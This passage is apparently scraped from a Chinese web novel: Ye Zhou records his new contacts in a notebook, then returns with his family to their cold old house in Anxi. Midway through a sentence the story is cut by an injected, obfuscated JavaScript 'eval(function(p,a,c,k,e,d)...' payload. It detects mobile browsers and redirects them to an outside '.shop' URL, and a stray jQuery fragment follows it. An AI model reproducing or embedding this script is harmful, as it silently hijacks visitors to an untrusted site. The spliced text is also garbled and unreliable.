宾馆的房间不大，但干净暖和。窗户朝南，窗帘拉了一半，外面的灯光透进来，在地板上投下一小片昏黄的光。叶舟躺在床上，盯着天花板看了一会儿，睡不着。宁蕙心已经洗漱完在旁边睡下了，呼吸均匀，偶尔翻一下身，被子窸窣响一声又安静下来。叶子安在隔壁房间，应该也睡着了，墙板很薄，能隐约听到隔壁没有动静。
他翻了个身，又躺了一会儿，还是坐了起来。轻手轻脚走到窗边，从外套内袋里掏出那本磨白封皮的笔记本，拧开床头灯，翻到最新一页。灯下的纸面泛着暖黄的光，他提笔落字，字迹不快，但每一笔都稳：
“振舟之行，该见的人都见了。罗辰波、刘学敏、文志宏——三位老师各有提点，罗老师说‘你缺的只是时间’，刘老师说‘经济基础决定一切’，文老师说‘你是我见过最懂成事的人’。这话听着重，但我接得住。”
他隔了一行，继续落笔：
“肖德文——开春后直通对接，不层层报备。这是此行最大收获。校地合作升级为顶层资源，不只限于农学院，是整个振舟大学层面的通道。”
“小姑父——给了郝诚民的渠道，药材试点的技术和销路有了依托。他只搭桥不代劳，路要我自己跑。这样最好。”
“姜国友——不表态不承诺，说了一句‘你做事稳，我放心’。观察期还没过，但松动了。”
“吴家——吴老爷子读完书读懂了人。吴志军递台阶，吴国友接住了。从‘领导’到‘叔’，不是空喊的称呼，是往后有事能开口的关系。”
他写完这几行，笔尖停在纸面上，又补了一句，字迹比前面几行都要笃定：
“药材试点，开春后第一件事。访郝诚民，定品种，选地块，签合同。年前跑的所有人情，年后都要落在事上。”
合上笔记本，他关掉台灯，在黑暗中躺了一会儿。窗户外面是一片安静的夜色，振舟的冬夜和安溪老家没什么不同，一样的黑，一样的静。远处的路灯透过窗帘缝隙洒进来一道细细的光，落在地板上，像一条窄窄的河。
他闭上眼。那句话在脑海里反复盘旋：“年前跑的所有人情，年后都要落在事上。”
第二天早上七点半，宾馆楼下就有车等着了。叶舟一家简单吃过早饭，拎着不多的行李上了车，一路驶回安溪。两个小时的路程，宁蕙心在后座闭眼假寐，车窗外的田野和村庄一帧一帧往后退去，远山笼在薄薄的冬雾里，灰蒙蒙的轮廓层层叠叠。
叶子安靠着车窗，目光落在外面，手里什么也没拿。他看了一会儿不断倒退的田野，又闭上眼睛，像是睡着了，又像是在想什么。车窗外的天光时明时暗，掠过他的侧脸，忽而亮一下，忽而暗下去，映出一张安静的脸。
叶舟坐在副驾驶，看着前方的路越来越熟悉。安溪镇的轮廓开始出现在远处，灰蒙蒙的冬雾里，镇口的牌坊已经能看清了。
车子停在家门口时，院门虚掩着，铁锁是旧式的挂锁，叶舟掏出钥匙拧开锁，推门进去。堂屋里有些冷清，父母过世后老宅无人常住，虽然年前托邻居帮忙扫过灰，但屋里还是透着一股久无人居的凉意。他和宁蕙心一起动手，把堂屋的炭火盆端出来，点上炭，火苗慢慢蹿起来，红色的光映在灰白的墙上，整间屋子渐渐有了温度。
宁蕙心跟着他进了院子，打量了一圈，又把带来的行李拎进里屋，顺手拍了拍床铺上的灰。叶子安拎着自己的小包，绕过院子里的水缸，熟门熟路地往自己房间走。房间还是他上次回来时的样子，床铺罩着旧床单防灰，桌上一本书翻到一半，窗台上的旧台灯落了薄薄一层灰。
叶舟站在堂屋门口，望着院子里灰白的天光。冬天的安溪和振舟不一样，振舟的冬天是热闹的、拥挤的、人情往来的；安
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760784|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
溪的冬天是安静的、空旷的、等着开春的。院子里那棵老石榴树落光了叶子，枝丫光秃秃地伸向天空，树下的石桌面上落了一层薄薄的灰。
他呼出一口白气，转身进了屋。笔记本还揣在内袋里，贴着胸口，带着一路奔波的微温。叶舟摸了一下封皮，没有拿出来。他先把行李放回房间，然后回到堂屋，在烧旺的炭火旁坐下，靠在椅背上，闭了一会儿眼。
宁蕙心从厨房端出一碗热汤，轻轻搁在他手边：“灶上热了点年货，先喝口暖暖身子。”
叶舟睁开眼，接过汤碗，温热的碗壁贴着掌心。他喝了一口，鲜味从舌尖一路暖到胃里，整个人才彻底松弛下来。安溪安静得只剩下风声。隔着墙，能听到远处镇街上偶尔传来的自行车铃声，清脆短促，像一颗石子投入静水。厨房里传来宁蕙心收拾灶台的声响，碗筷轻碰，细碎安稳。
叶子安从门口走进来，站在堂屋门口看了叶舟一眼。他没有说话，也没有问“今天写不写日课”这种话，只是安静地看了两秒，转身进了自己的房间。门轻轻带上，咔嚓一声，很轻。
屋里彻底安静下来。
叶舟没有睁眼，但他听见了那声门响。他知道，儿子已经不需要再用言语来提醒他什么了。他靠在椅背上，把汤碗搁在膝盖上，温热的汤水透过碗底熨着掌心的纹路。风从院子里穿过，吹动晾衣绳上挂着的旧毛巾，轻轻晃荡。叶舟靠在那里，在安溪冬日的静默里，把昨天、前天、这一个礼拜跑完的所有行程在脑海里又过了一遍。信息量很大，多到需要慢慢消化。人脉很多，但不能急着一把抓完。事情很多，得一件一件做。
他睁开眼，坐直身子，把汤碗里的最后一口喝完，搁在桌上，碗底磕在桌面发出一声轻轻的响。
窗外是安溪的冬天，灰白的天空，光秃的田野，远处有几缕炊烟升起来，在冷空气里慢慢散开。